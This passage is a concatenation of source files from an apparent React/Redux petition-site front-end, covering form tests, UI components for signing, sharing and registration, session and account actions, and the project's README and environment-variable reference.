expect(osdiSignature.person.postal_addresses[0].region).to.be.equal('Sydney Region')
expect(osdiSignature.person.postal_addresses[0].postal_code).to.be.equal('6024')
expect(component.formIsValid()).to.be.equal(true)
})
it('displays errors when required fields are missing', () => {
const store = createMockStore(storeAnonymous)
const context = mount(<SignatureAddForm {...propsProfileBase} store={store} />)
const component = unwrapReduxComponent(context)
component.setState({ country: 'United States', name: '<NAME>', postal: '6024' })
expect(component.formIsValid()).to.be.equal(false)
})
it('checking volunteer requires phone', () => {
const store = createMockStore(storeAnonymous)
const context = mount(<SignatureAddForm {...propsProfileBase} store={store} />)
const component = unwrapReduxComponent(context)
const reqFieldsBefore = component.updateRequiredFields(true)
expect(typeof reqFieldsBefore.phone).to.be.equal('undefined')
component.volunteer({ target: { checked: true } })
expect(component.state.volunteer).to.be.equal(true)
const reqFieldsAfter = component.updateRequiredFields(true)
expect(typeof reqFieldsAfter.phone).to.be.equal('string')
component.setState({ address1: '123 main', city: 'Pittsburgh', state: 'PA', name: '<NAME>', email: '<EMAIL>', zip: '60024' })
expect(component.formIsValid()).to.be.equal(false)
component.setState({ phone: '123-123-1234' })
expect(component.formIsValid()).to.be.equal(true)
})
it('submitting petition gives good data', () => {
// MORE TODO HERE
const store = createMockStore(storeAnonymous)
const context = mount(<SignatureAddForm {...propsProfileBase} store={store} />)
const component = unwrapReduxComponent(context)
component.volunteer({ target: { checked: true } })
expect(component.state.volunteer).to.be.equal(true)
})
})
})
<file_sep>/src/components/signature-list.js
import React from 'react'
import PropTypes from 'prop-types'
import { connect } from 'react-redux'
import SignatureListPage from './signature-list-page.js'
import { loadPetitionSignatures } from '../actions/petitionActions.js'
class SignatureList extends React.Component {
constructor(props) {
super(props)
this.state = { page: 1 }
this.nextPage = this.nextPage.bind(this)
this.previousPage = this.previousPage.bind(this)
}
componentDidMount() {
this.loadSignaturesIfNeeded(this.state.page)
}
loadSignaturesIfNeeded(page) {
const { loadSignatures, signatures, petitionSlug } = this.props
if (typeof signatures === 'undefined' || typeof signatures[page] === 'undefined') {
loadSignatures(petitionSlug, page)
}
}
nextPage() {
this.loadSignaturesIfNeeded(this.state.page + 1)
this.setState((prevState) => ({
page: prevState.page + 1
}))
}
previousPage() {
this.loadSignaturesIfNeeded(this.state.page - 1)
this.setState((prevState) => ({
page: prevState.page - 1
}))
}
render() {
const { signatures, signatureCount } = this.props
const { page } = this.state
if (typeof signatures === 'undefined' || typeof signatures[page] === 'undefined') {
return (
<div id='pet-signers-loading' className='bump-top-1'><b>Loading...</b></div>
)
}
const startNumber = ((page - 1) * 10) + 1
const previousButton = ((page < 2) ? '' : (
<li className='previous'>
<a onClick={this.previousPage}>< < Previous</a>
</li>
))
const nextButton = (((startNumber + 10) > signatureCount) ? '' :
<li className='next'>
<a onClick={this.nextPage}>Next > ></a>
</li>
)
return (
<div>
<SignatureListPage
signatures={signatures[page]}
startNumber={startNumber}
/>
<ul className='pager'>
{previousButton}
{nextButton}
</ul>
</div>
)
}
}
SignatureList.propTypes = {
petitionSlug: PropTypes.string,
signatureCount: PropTypes.number,
signatures: PropTypes.object,
loadSignatures: PropTypes.func
}
const mapStateToProps = (store, ownProps) => ({
signatures: store.petitionStore.petitionSignatures[ownProps.petitionSlug]
})
const mapDispatchToProps = (dispatch) => ({
loadSignatures: (petitionSlug, page) =>
dispatch(loadPetitionSignatures(petitionSlug, page))
})
export default connect(mapStateToProps, mapDispatchToProps)(SignatureList)
<file_sep>/src/components/legacy/long-search-bar.js
import React from 'react'
import PropTypes from 'prop-types'
import StateSelect from '../form/state-select'
const smallStateSelectStyle = {
display: 'inline',
width: '100px'
}
const LongSearchBar = ({ submit, queryValue, stateValue, changeQueryValue, changeQueryState }) =>
<div id='search-bar-large' className='container'>
<div className='row'>
<div className='span7 control-group bump-top-1'>
<form className='search' onSubmit={submit}>
<div className='search'>
<input id='searchValue' value={queryValue} placeholder='Search Petitions' onChange={changeQueryValue} type='text' className='margin-right-1 ' />
<StateSelect selectText='All States' style={smallStateSelectStyle} onChange={changeQueryState} value={stateValue} />
<button type='submit' className='background-moveon-dark-blue margin-left-1'>Search</button>
</div>
</form>
</div>
<div className='span5'>
<p className='lanky-header size-medium-large lh-24 bump-top-1'>Search for petitions by any keyword.</p>
</div>
</div>
</div>
LongSearchBar.propTypes = {
submit: PropTypes.func,
queryValue: PropTypes.string,
stateValue: PropTypes.string,
changeQueryValue: PropTypes.func,
changeQueryState: PropTypes.func
}
export default LongSearchBar
<file_sep>/CONTRIBUTING.md
=Code conventions
== React/Redux standard patterns
* reducers/index.js should represent (as a pure function) initial and all possible state changes
== Project-particular patterns
* assuming redux-thunk, no mapPropsToDispatch -- just call `dipatch(actions.foo(data))`
* `actions/*` is where you call out to get data (async or otherwise)
* lazy-loading info: (TODO)
* Even though convention calls redux 'state' 'state' -- we call it `store`, to map better to the redux
global store object, and distinguish it from component states. c.f. any component that has a mapStateToProps function
* Any links to petitions.moveon.org should use react-router's `<Link to= />` regardless of it being in or out of the react app.
- The `to` must be an absolute path and not relative (i.e. start with a `/`)
- See src/routes.js for details -- when a route's app is 'production ready', we need to mark it with `prodReady` in the appropriate `<Route />`
<file_sep>/src/actions/accountActions.js
import 'whatwg-fetch'
import Config from '../config.js'
export const actionTypes = {
REGISTER_SUBMIT: 'REGISTER_SUBMIT',
REGISTER_FAILURE: 'REGISTER_FAILURE',
REGISTER_SUCCESS: 'REGISTER_SUCCESS'
}
export function register(fields) {
return (dispatch) => {
dispatch({
type: actionTypes.REGISTER_SUBMIT
})
return fetch(`${Config.API_URI}/users/register.json`, {
method: 'POST',
body: JSON.stringify(fields)
})
.then(
(response) => response.json().then(() => {
if (false) {
// login user if valid and route user to https://petitions.moveon.org/no_petition.html
// otherwise disatch failure with errors
dispatch({
type: actionTypes.REGISTER_SUCCESS,
nice: 'nice'
})
} else {
dispatch({
type: actionTypes.REGISTER_FAILURE,
formErrors: [{ message: 'failed to register user' }]
})
}
})
)
.catch(() => {
dispatch({
type: actionTypes.REGISTER_FAILURE,
formErrors: [{ message: 'server error: account was not created' }]
})
})
}
}
export function forgotPassword(email) {
// We don't care much about the response in this case
return fetch(`${Config.API_URI}/users/forgot-password.json`, {
method: 'POST',
body: JSON.stringify({ email })
})
.then(() => true)
.catch(() => true)
}
export const actions = {
register,
forgotPassword
}
<file_sep>/src/components/legacy/hot-petitions.js
import React from 'react'
import PropTypes from 'prop-types'
import PetitionPreview from './petition-preview'
const HotPetitions = ({ fullWidth, topPetitions, source }) => (
<div
id='campaign-widget'
className={
fullWidth ? 'span12 widget clearfix' : 'span6 widget clearfix pull-right'
}
>
<div className='widget-top'>
<h3>Hot Petitions</h3>
</div>
{topPetitions &&
topPetitions.map(petition => (
<PetitionPreview
key={petition.petition_id}
petition={petition}
source={source}
/>
))}
</div>
)
HotPetitions.propTypes = {
fullWidth: PropTypes.bool,
topPetitions: PropTypes.oneOfType([PropTypes.array, PropTypes.bool]),
source: PropTypes.string
}
export default HotPetitions
<file_sep>/src/components/form/target-select/state.js
import React from 'react'
import StateSelect from '../state-select'
const StateTargetSelect = () => (
<div>
<div className='select wrapper' id='select_target_state_wrapper'>
<label htmlFor='select_target_state' id='select_target_state_label'>Pick your state</label>
<StateSelect
name='select_target_state'
id='state'
className=''
/>
</div>
<div id='state_group_checkboxes'>
<div className='checkbox wrapper' id='checkbox_state_house_wrapper'>
<label htmlFor='target_statehouse' id='checkbox_state_house_label'>
<input name='target_statehouse_field' id='target_statehouse' type='checkbox' /> The entire <span className='state_name'>State</span> House
</label>
</div>
<div className='checkbox wrapper' id='checkbox_state_senate_wrapper'>
<label htmlFor='target_statesenate' id='checkbox_state_senate_label'>
<input name='target_statesenate_field' id='target_statesenate' type='checkbox' /> The entire <span className='state_name'>State</span> Senate
</label>
</div>
<div className='checkbox wrapper' id='checkbox_state_governor_wrapper'>
<label htmlFor='target_governor' id='checkbox_state_governor_label'>
<input name='target_governor_field' id='target_governor' type='checkbox' /> Governor of <span className='state_name'>State</span>
</label>
</div>
</div>
<div className='autocomplete_selected' id='state_group_autocomplete_selected'></div>
<div id='state_group_autocomplete_wrapper' className='autocomplete_wrapper text wrapper small'>
<input name='state_group_autocomplete' type='text' className='text autocomplete' id='state_group_autocomplete' placeholder="Or, enter a specific legislator's name" />
</div>
</div>
)
export default StateTargetSelect
<file_sep>/test/components/login-form.js
import React from 'react'
import sinon from 'sinon'
import { expect } from 'chai'
import { mount, shallow } from 'enzyme'
import LoginForm from '../../src/components/login-form'
describe('<LoginForm />', () => {
it('displays fields', () => {
const login = shallow(<LoginForm />)
expect(login.find('input[name="email"]').length).to.equal(1)
expect(login.find('input[name="password"]').length).to.equal(1)
})
it('passed errors are displayed', () => {
const errors = [{ message: 'There was a login error' }]
const login = shallow(<LoginForm errors={errors} />)
expect(login.find('.errors').text()).to.equal('There was a login error')
})
it('displays errors when required fields are missing', () => {
const login = mount(<LoginForm />)
login.find('form').simulate('submit')
expect(login.find('.errors').find('li').length).to.equal(2)
})
it('validates email', () => {
const login = mount(<LoginForm />)
login.find('input[name="email"]').node.value = 'foo'
login.find('input[name="password"]').node.value = 'bar'
login.find('form').simulate('submit')
expect(login.find('.errors').text()).to.equal(
'Invalid entry for the Email field.'
)
})
it('submitting valid data calls submit function', () => {
const spy = sinon.spy()
const login = mount(<LoginForm onSubmit={spy} />)
login.find('input[name="email"]').node.value = '<EMAIL>'
login.find('input[name="password"]').node.value = 'bar'
login.find('form').simulate('submit')
expect(spy.calledOnce).to.be.true
expect(spy.calledWith({ email: '<EMAIL>', password: 'bar' })).to.be.true
})
})
<file_sep>/README.md
[](https://travis-ci.org/MoveOnOrg/mop-frontend)
# MoveOn Petitions (MOP) Front-end
This is the browser-based, JavaScript implementation of the MoveOn Petitions platform. This uses React, Babel, and Webpack.
# Install
* Install NPM. Recommended versions: NPM v3.10.10, Node v6.9.3 LTS.
* $ `npm install`
# Compile JavaScript
* $ `npm run build` (do `npm run dev-build` to get source maps, though this increases filesize significantly)
# Lint JavaScript
* $ `npm run lint`
# Test JavaScript
* $ `npm test`
# Local development environment
If you are just developing the client, then you should not have to set any variables.
Just run:
```bash
npm run dev
```
and hot-reloading will work, then go to http://localhost:8080/#/sign/outkast
## Developing with a Server Backend
When running locally, you should set the following environment variables:
```
export API_URI="https://petitions.example.com"
export BASE_APP_PATH="/Users/yourusername/Sites/mop-frontend/local/"
export STATIC_ROOT="../../build/"
```
`API_URI` can either point at a hosted version of the API (as in the example), or a local instance of mop (something like `http://0.0.0.0:8000`).
`BASE_APP_PATH` is everything that comes after `file://` in your browser's local file URL, up to and including `/local/`.
`STATIC_ROOT` is the path from the HTML file you're testing to the compiled JavaScript. e.g. for `/local/thanks.html`, the relative path is `../js/`, but for `/local/sign/economic-disparity-campaign`, the relative path is one more step away, `../../js/`
<file_sep>/src/components/state-check-box.js
import React from 'react'
import PropTypes from 'prop-types'
import { connect } from 'react-redux'
import { actions as petitionActions } from '../actions/petitionActions.js'
import { getStateFullName } from './state-abbrev.js'
import { appLocation } from '../routes.js'
class StateCheckBox extends React.Component {
constructor(props) {
super(props)
this.state = {
query: props.query,
selectState: props.selectState
}
this.stateBoxChecked = this.stateBoxChecked.bind(this)
}
stateBoxChecked(e) {
e.preventDefault()
const dispatch = this.props.dispatch
this.setState({
selectState: ''
})
appLocation.push(`/find/?q=${this.state.query}`)
const currentPage = 1
dispatch(petitionActions.searchPetitions(this.state.query, currentPage, ''))
}
render() {
const { selectState } = this.props
const stateFullName = getStateFullName(selectState)
return (
<div>
<label htmlFor='state-checkbox'>
<input id='state-checkbox' className='search-filter margin-top-0' type='checkbox' name='state' value={selectState} onChange={this.stateBoxChecked} checked />
Only petitions from {stateFullName}
</label>
</div>
)
}
}
StateCheckBox.propTypes = {
dispatch: PropTypes.func,
selectState: PropTypes.string,
query: PropTypes.string
}
function mapStateToProps(store, ownProps) {
return {
selectState: ownProps.selectState,
query: ownProps.query
}
}
export default connect(mapStateToProps)(StateCheckBox)
<file_sep>/test/lib.js
export const unwrapReduxComponent = (mountedContext) => (
// MountedContext will be something like mount(<Foo ... />)
// This method gets you the Foo context, unwrapped from its redux and mount wrapper
// This is pretty hacky, but haven't found a better way to get this.
// You can try something like mountedContext.find(Foo).get(0) but
// I believe this only returns the redux-wrapped instance.
// If you want to unhack this, then instance._reactInternalInstance._debugID
// will help.
mountedContext.instance()._reactInternalInstance._renderedComponent._instance
)
<file_sep>/docs/REFERENCE--environment_variables.md
Variable | Purpose
----------------------------------|----------------------------------
API_URI | Base URI for API, without trailing slash, e.g. "http://0.0.0.0:8000" or "http://example.com/api/v1". _Required_.
API_WRITABLE | When true, server actions to submit new data (like petition signing/creating) will be sent to the server. _Default_: same value as `PROD`.
APP_ENTRY | For WebPack build, file name for app. _Default_: "main".
API_SIGN_PETITION | Full url endpoint to send submitted signatures to. Without this, it will default to `${API_URI}/signatures`
BASE_APP_PATH | If the app is being served from a path other than the domain root, set this to that path. _Default_: "/".
ONLY_PROD_ROUTES | Only render production-ready routes (marked `prodReady`) and redirect all other paths to petitions.moveon.org
PROD | Boolean value indicating whether site should act as a production environment. _Options_: 0, 1. _Default_: "".
PUBLIC_ROOT | For WebPack dev server, the directory relative to server root where files are found. _Default_: "/".
SESSION_COOKIE_NAME | When this cookie is present, user session data will be loaded from `API_URI`'s base. _Default_: "SO_SESSION".
STATIC_ROOT | For WebPack dev server, the relative path from initial page load to JS and other static assets. _Default_: "".
TRACK_SHARE_URL | A url endpoint that share events (e.g. from thanks page) should be sent to with details about the shared page. (see `src/actions/petitionActions.js`). _Default_: "" (none).
<file_sep>/src/components/form/target-select/national.js
import React from 'react'
const NationalTargetSelect = () => (
<div>
<div id='national_group_checkboxes'>
<div className='checkbox wrapper' id='target_house_wrapper'>
<label htmlFor='target_house' id='target_house_label'>
<input name='target_house_checkbox' id='target_house' type='checkbox' /> The entire U.S. House
</label>
</div>
<div className='checkbox wrapper' id='target_senate_wrapper'>
<label htmlFor='target_senate' id='target_senate_label'>
<input name='target_senate_checkbox' id='target_senate' type='checkbox' /> The entire U.S. Senate
</label>
</div>
<div className='checkbox wrapper' id='target_president_wrapper'>
<label htmlFor='target_president' id='target_president_label'>
<input name='target_president_checkbox' id='target_president' type='checkbox' /> President <NAME>
</label>
</div>
</div>
<div className='autocomplete_selected' id='national_group_autocomplete_selected'></div>
<div id='national_group_autocomplete_wrapper' className='autocomplete_wrapper text wrapper small'>
<input name='national_group_autocomplete' type='text' className='text autocomplete' id='national_group_autocomplete' placeholder="Or, enter a specific legislator's name" />
</div>
</div>
)
export default NationalTargetSelect
<file_sep>/src/components/signature-count.js
import React from 'react'
import PropTypes from 'prop-types'
const formatNumber = number =>
String(number).replace(/\B(?=(\d{3})+(?!\d))/g, ',')
const percent = (current, goal) => {
if (goal <= 0) {
return '0%'
}
const v = Math.min(1, current / goal) * 100
return `${v.toFixed(2)}%`
}
const SignatureCount = ({ current, goal }) => current !== undefined && (
<div id='therm' className='span7 margin-left-0 bump-top-2'>
<div className='muted'>
There are currently <span className='featured pull-right1 progress-current'>{formatNumber(current)}</span> signatures.
NEW goal - We need <span className='progress-goal'>{formatNumber(goal)}</span> signatures.
</div>
<div className='progress progress-danger no-bottom-margin'>
<div className='bar' style={{ width: percent(current, goal) }}></div>
</div>
</div>
)
SignatureCount.propTypes = {
current: PropTypes.number,
goal: PropTypes.number
}
export default SignatureCount
<file_sep>/src/actions/sessionActions.js
import 'whatwg-fetch'
import Config from '../config.js'
export const actionTypes = {
ANONYMOUS_SESSION_START: 'ANONYMOUS_SESSION_START',
UNRECOGNIZE_USER_SESSION: 'UNRECOGNIZE_USER_SESSION',
USER_SESSION_START: 'USER_SESSION_START',
USER_SESSION_FAILURE: 'USER_SESSION_FAILURE'
}
export function unRecognize() {
return (dispatch) => {
dispatch({
type: actionTypes.UNRECOGNIZE_USER_SESSION
})
}
}
function callSessionApi(tokens) {
return (dispatch) => {
const args = Object.keys(tokens)
.map((k) => ((tokens[k]) ? `${encodeURIComponent(k)}=${encodeURIComponent(tokens[k])}` : ''))
.join('&')
const queryString = (args && args !== '&') ? `?${args}` : ''
fetch(`${Config.API_URI}/user/session.json${queryString}`, {
credentials: 'include'
})
.then(
(response) => response.json().then((json) => {
dispatch({
type: actionTypes.USER_SESSION_START,
session: json,
tokens
})
}),
(err) => {
dispatch({
type: actionTypes.USER_SESSION_FAILURE,
error: err,
tokens
})
}
)
}
}
export const loadSession = ({ location }) => {
// Called straigt from top route onEnter, so it's done only once on first-load
// A cookie doesn't actually indicate authenticated -- we just mark the session differently
const cookie = String(document.cookie).match(new RegExp(`${Config.SESSION_COOKIE_NAME}=([^;]+)`))
if (cookie
|| (location && location.query
&& (location.query.akid || location.query.id))) {
const tokens = {}
if (location.query.akid) {
tokens.akid = location.query.akid
}
if (location.query.id) {
tokens.hashedId = location.query.id
}
return callSessionApi(tokens)
}
// If there was no cookie or tokens, we don't even need to call the api
return (dispatch) => {
dispatch({
type: actionTypes.ANONYMOUS_SESSION_START
})
}
}
export const actions = {
unRecognize,
loadSession
}
<file_sep>/src/reducers/nav.js
import { combineReducers } from 'redux'
import { actionTypes as navActionTypes } from '../actions/navActions.js'
import { actionTypes as petitionActionTypes } from '../actions/petitionActions.js'
const { FETCH_PETITON_SUCCESS, FETCH_TOP_PETITIONS_SUCCESS } = petitionActionTypes
const { FETCH_ORG_SUCCESS } = navActionTypes
/* nav state:
* {
* partnerCobrand: null || { logo_image_url, organization, browser_url },
* orgs: { [slug]: org }
* }
*/
const getCobrandFromPetition = (petition = {}) => {
// grab the sponsor / creator properties from _embedded if it exists
const { _embedded: { sponsor, creator } = {} } = petition
const branding = sponsor || creator
if (!branding) {
return null
}
const { logo_image_url, organization, browser_url } = branding
// eslint-disable-next-line camelcase
if (!logo_image_url) {
return null
}
return { logo_image_url, organization, browser_url }
}
function partnerCobrand(state = null, action) {
switch (action.type) {
case FETCH_PETITON_SUCCESS:
return getCobrandFromPetition(action.petition)
case FETCH_TOP_PETITIONS_SUCCESS:
return getCobrandFromPetition(action.petitions[0])
default:
return state
}
}
function orgs(state = {}, action) {
switch (action.type) {
case FETCH_ORG_SUCCESS:
return {
...state,
[action.slug]: action.org
}
default:
return state
}
}
export default combineReducers({
partnerCobrand,
orgs
})
<file_sep>/src/components/thanks.js
import React from 'react'
import PropTypes from 'prop-types'
import { actions as petitionActions } from '../actions/petitionActions'
import { petitionShortCode, md5ToToken } from '../lib'
import ThanksNextPetition from './thanks-next-petition'
class Thanks extends React.Component {
constructor(props) {
super(props)
const { fromSource, petition, signatureMessage, user } = props
let trackingParams = ''
if (user && user.signonId) {
trackingParams = `r_by=${user.signonId}`
} else if (signatureMessage && signatureMessage.messageMd5) {
const hashToken = md5ToToken(signatureMessage.messageMd5)
trackingParams = `r_hash=${hashToken}`
}
this.isCreator = false // Maybe test user.id==petition.creator_id or something, if we want to expose that
let pre = (this.isCreator ? 'c' : 's')
const { _embedded: { creator } = {} } = petition
if (fromSource) {
if (/^(c\.|s\.icn)/.test(fromSource)) {
pre += '.icn'
} else if (creator && creator.source // megapartner
&& (fromSource === 'mo' || /\.imn/.test(fromSource))) {
pre += '.imn'
}
}
this.trackingParams = trackingParams
this.state = {
sharedSocially: false,
pre
}
this.recordShare = this.recordShare.bind(this)
this.shareLink = this.shareLink.bind(this)
this.shareEmail = this.shareEmail.bind(this)
this.openFacebookSharing = this.openFacebookSharing.bind(this)
this.shareFacebook = this.shareFacebook.bind(this)
this.shareTwitter = this.shareTwitter.bind(this)
}
recordShare(medium, source) {
petitionActions.recordShareClick(this.props.petition, medium, source, this.props.user)
}
shareLink(evt) {
evt.target.select()
this.recordShare('email', `${this.state.pre}.ln.cp`)
}
shareEmail(evt) {
evt.target.select()
this.recordShare('email', `${this.state.pre}.em.cp`)
}
openFacebookSharing(urlToShare) {
const { user } = this.props
const preChar = ((/\?/.test(urlToShare)) ? '&' : '?')
let fbUrl = `${urlToShare}${preChar}source=${this.state.pre}.fb`
if (user.signonId) {
fbUrl = `${fbUrl}&${this.trackingParams}`
}
window.open(`https://www.facebook.com/share.php?u=${encodeURIComponent(fbUrl)}`)
this.setState({ sharedSocially: true })
}
shareFacebook() {
const { petition } = this.props
const shareOpts = (petition.share_options && petition.share_options[0]) || {}
const self = this
setTimeout(() => {
self.recordShare('facebook', `${self.state.pre}.fb`)
}, 100)
let fbUrl = petition._links.url
if (shareOpts.facebook_share && shareOpts.facebook_share.share_url) {
if (shareOpts.facebook_share.sharebandit) { // Non-OSDI feature
petitionActions.getSharebanditShareLink(
shareOpts.facebook_share.share_url)
.then(this.openFacebookSharing)
// Prematurely exit, since we will block on the promise
return false
}
fbUrl = shareOpts.facebook_share.share_url
}
this.openFacebookSharing(fbUrl)
return false
}
shareTwitter() {
const encodedValue = encodeURIComponent(this.tweetTextArea.value)
const url = `https://twitter.com/intent/tweet?text=${encodedValue}`
window.open(url)
this.recordShare('twitter', `${this.state.pre}.tw`)
this.setState({ sharedSocially: true })
}
generateMailMessage(about, statement, isCreator, shareOpts, fullTarget, petitionLink) {
if (shareOpts.email_share) {
return shareOpts.email_share
}
const actedOn = (isCreator ? 'created' : 'signed')
const target = (fullTarget.slice(0, 3).map(t => t.name).join(' and ')
+ ((fullTarget.length > 3) ? `, and ${fullTarget.length} others` : ''))
const tooLong = 400 // 1024 for the whole message, so how about 450 for each
const petitionAbout = (about.length < tooLong ? `\n${about}` : '')
const petitionStatement = (statement.length < tooLong ? `"${statement}"\n` : '')
return (`Hi,
${petitionAbout}
${petitionAbout ? '\nThat‘s why ' : ''}I ${actedOn} a petition to ${target}${petitionStatement ? ', which says:\n' : '.'}
${petitionStatement}
Will you sign this petition? Click here:
${petitionLink}
Thanks!
`)
}
render() {
const { petition, signatureMessage, user } = this.props
const shortLinkArgs = [
petition.petition_id,
user && user.signonId,
signatureMessage && signatureMessage.messageMd5]
const twitterShareLink = petitionShortCode((this.isCreator ? 'c' : 't'), ...shortLinkArgs)
const rawShareLink = petitionShortCode((this.isCreator ? 'k' : 'l'), ...shortLinkArgs)
const shareOpts = (petition.share_options && petition.share_options[0]) || {}
// Convert description to text
const textDescription = document.createElement('div')
textDescription.innerHTML = petition.description
let tweet
if (shareOpts.twitter_share && shareOpts.twitter_share.message) {
tweet = shareOpts.twitter_share.message.replace('[URL]', twitterShareLink)
} else {
const suffix = ` ${twitterShareLink} @moveon`
tweet = `${petition.title.slice(0, 140 - suffix.length)} ${suffix}`
}
const mailToMessage = this.generateMailMessage(textDescription.textContent,
petition.summary,
this.isCreator,
shareOpts,
petition.target,
`${petition._links.url}?source=${this.state.pre}.em.__TYPE__&${this.trackingParams}`
)
const copyPasteMessage = `Subject: ${petition.title}\n\n${mailToMessage.replace('__TYPE__', 'cp')}`
const mailtoMessage = `mailto:?subject=${encodeURIComponent(petition.title)}&body=${encodeURIComponent(mailToMessage.replace('__TYPE__', 'mt'))}`
return (<div className='row'>
{(this.state.sharedSocially ? <ThanksNextPetition entity={petition.entity || ''} /> : null)}
<div className='span4'>
<h1 className='size-superxl lh-100 font-lighter'>Thanks!</h1>
</div>
<div className='span5 offset1 bump-top-3 font-lighter lh-24'>
Now that you have {((this.isCreator) ? 'created' : 'signed')},
<span className='font-heavy moveon-bright-red'> help it grow</span> by asking your friends, family, colleagues to sign.
</div>
<div className='clear hidden-phone border-bottom'></div>
<div className='share-area'>
<div className='span4 share-social-media padding-top-1 align-center pull-right'>
<div className='lanky-header'>
<span className='icon-fb-default'></span>
Tell your friends on Facebook:
</div>
<button
id='facebook-button'
className='xl300 background-facebook-blue'
onClick={this.shareFacebook}
>Share on Facebook</button>
<div className='lanky-header bump-top-3 align-center'>
<span className='icon-twitter-default'></span>
Tweet your followers:
</div>
<button
id='twitter-button'
className='xl300 background-moveon-bright-red'
onClick={this.shareTwitter}
>Tweet This</button>
<textarea
className='hidden' id='tweet_text'
defaultValue={tweet}
ref={(input) => { this.tweetTextArea = input }}
readOnly
></textarea>
<div id='hidden_share_link' className='lanky-header bump-top-3 align-center hidden'>
Send a link:
<textarea
ref={(input) => { this.linkTextarea = input }}
onClick={this.shareLink}
id='link_text'
defaultValue={rawShareLink}
readOnly
></textarea>
</div>
</div>
<div className='span7 padding-top-1'>
<div className='share-email align-center'>
<div className='lanky-header align-center'><span className='icon-join-default'></span>Email your friends, family and colleagues:</div>
<a id='email-button' href={mailtoMessage} className='button xl300 background-moveon-bright-red'>Email your friends</a>
<div className='disclaimer bump-top-3 hidden-phone'>Or copy and paste the text below into a message:</div>
<textarea
ref={(input) => { this.emailTextarea = input }}
className='hidden-phone' id='email-textarea'
onClick={this.shareEmail}
value={copyPasteMessage.replace('__TYPE__', 'cp')}
readOnly
></textarea>
</div>
</div>
</div>
</div>)
}
}
Thanks.propTypes = {
petition: PropTypes.object,
user: PropTypes.object,
signatureMessage: PropTypes.object,
fromSource: PropTypes.string
}
export default Thanks
<file_sep>/src/components/register-form.js
import React from 'react'
import PropTypes from 'prop-types'
import { isValidEmail } from '../lib'
class RegisterForm extends React.Component {
constructor(props) {
super(props)
this.state = {
presubmitErrors: null
}
this.handleSubmit = this.handleSubmit.bind(this)
}
componentWillReceiveProps(nextProps) {
if (nextProps.errors) {
this.setState({ presubmitErrors: null })
}
this.password.value = ''
this.passwordConfirm.value = ''
}
/**
* Validates the form for client side errors.
* If valid returns true otherwise false.
* If errors it will update the local state `presubmitErrors`
* @returns {boolean}
*/
validateForm() {
const { name, email, password, passwordConfirm } = this
const errors = []
if (!name.value.trim().length) {
errors.push({ message: 'Missing required entry for the Name field.' })
}
if (!isValidEmail(email.value)) {
if (!this.email.value.trim().length) {
errors.push({ message: 'Missing required entry for the Email field.' })
} else {
errors.push({ message: 'Invalid entry for the Email field.' })
}
}
if (!password.value.trim().length) {
errors.push({ message: 'Missing required entry for the Password field.' })
} else if (password.value.trim() !== passwordConfirm.value.trim()) {
errors.push({ message: 'Password and PasswordConfirm fields do not match.' })
}
if (errors.length) {
this.setState({ presubmitErrors: errors })
}
return !errors.length
}
handleSubmit(event) {
event.preventDefault()
const { name, email, password, passwordConfirm } = this
if (this.validateForm()) {
this.props.onSubmit({
[name.name]: name.value,
[email.name]: email.value,
[password.name]: password.value,
[passwordConfirm.name]: passwordConfirm.value
})
}
}
/**
* Get the current errors as a jsx array.
* @returns {Array} an jsx array of errors
*/
errorList() {
const errors = this.state.presubmitErrors || this.props.errors || []
return errors.map((error, idx) => <li key={idx}>{error.message}</li>)
}
render() {
return (
<div className='container'>
<div className='row'>
<div className='span6 offset3'>
<div className='well login clearfix'>
<h1 className='lanky-header size-xl'>Quick sign up</h1>
<ul className='errors'>
{this.errorList()}
</ul>
<form method='POST' onSubmit={this.handleSubmit} className='form-horizontal'>
<input
ref={name => (this.name = name)}
name='name' className='percent-80 validation_error' type='text' id='inputName' placeholder='Name'
/>
<input
ref={email => (this.email = email)}
name='email' className='percent-80 validation_error' type='text' id='inputEmail' placeholder='Email'
/>
<input
name='password' ref={password => (this.password = <PASSWORD>)}
className='percent-80 validation_error' type='password' id='inputPassword' placeholder='<PASSWORD>'
/>
<input
name='password_confirm' ref={passwordConfirm => (this.passwordConfirm = passwordConfirm)}
className='percent-80 validation_error' type='password' id='inputConfirm' placeholder='Confirm Password'
/>
<div>
<div className='bump-bottom-2'>
<input value='Register' className='button bump-top-2' type='submit' />
</div>
<ul className='unstyled inline'>
<li className='disclaimer'>By creating an account you agree to receive email messages from MoveOn.org Civic Action and MoveOn.org Political Action. You may unsubscribe at any time.</li>
</ul>
</div>
</form>
</div>
<div className='disclaimer' id='privacy'>
<p>
<strong>Privacy Policy (the basics)</strong>:<br /><br /> <strong>MoveOn will never sell your personal information to anyone ever.</strong> For petitions, letters to the editor, and surveys you've signed or completed, we treat your name, city, state, and comments as public information, which means anyone can access and view it. We will not make your street address publicly available, but we may transmit it to your state legislators, governor, members of Congress, or the President as part of a petition. MoveOn will send you updates on this and other important campaigns by email. If at any time you would like to unsubscribe from our email list, you may do so. For our complete privacy policy, <a href='http://petitions.moveon.org/privacy.html' target='_blank'>click here</a>.
</p>
</div>
</div>
</div>
</div>
)
}
}
RegisterForm.propTypes = {
errors: PropTypes.array,
onSubmit: PropTypes.func,
isSubmitting: PropTypes.bool
}
export default RegisterForm
<file_sep>/src/components/signature-list-page.js
import React from 'react'
import PropTypes from 'prop-types'
import SignatureListItem from './signature-list-item.js'
const SignatureListPage = ({ signatures, startNumber }) => (
<div className='signature-table'>
<ul className='unstyled'>
{signatures.map(({ user, comments, comment_id: commentId, created_date: createdDate }, index) => (
<SignatureListItem
key={startNumber + index}
number={startNumber + index}
user={user}
createdDate={createdDate}
commentId={commentId}
comments={comments}
/>
))}
</ul>
</div>
)
SignatureListPage.propTypes = {
signatures: PropTypes.arrayOf(PropTypes.object),
startNumber: PropTypes.number
}
export default SignatureListPage
<file_sep>/src/pages/petition-report-page.js
import React from 'react'
import PropTypes from 'prop-types'
import { connect } from 'react-redux'
import { loadPetition } from '../actions/petitionActions.js'
import { petitionReportLoader } from '../loaders/petition.js'
class PetitionReportPage extends React.Component {
componentWillMount() {
const self = this
const { petition, location, dispatchLoadPetition } = this.props
const petitionId = location.query.petition_id
petitionReportLoader().then((deps) => {
self.petitionReport = deps.petitionReport.default
self.forceUpdate()
})
if (!petition) {
if (petitionId) {
dispatchLoadPetition(petitionId)
}
}
}
render() {
const { petition } = this.props
// TODO: load signatureStats from API when data is available in API
const signatureStats = {
ever: {
all: [0, 0, 0, 0, 108269, 46540, 11962],
facebook: [0, 0, 0, 0, 393, 466, 107],
twitter: [0, 0, 0, 0, 281, 187, 30],
email: [0, 0, 0, 0, 1588, 1336, 273]
},
hourly: {
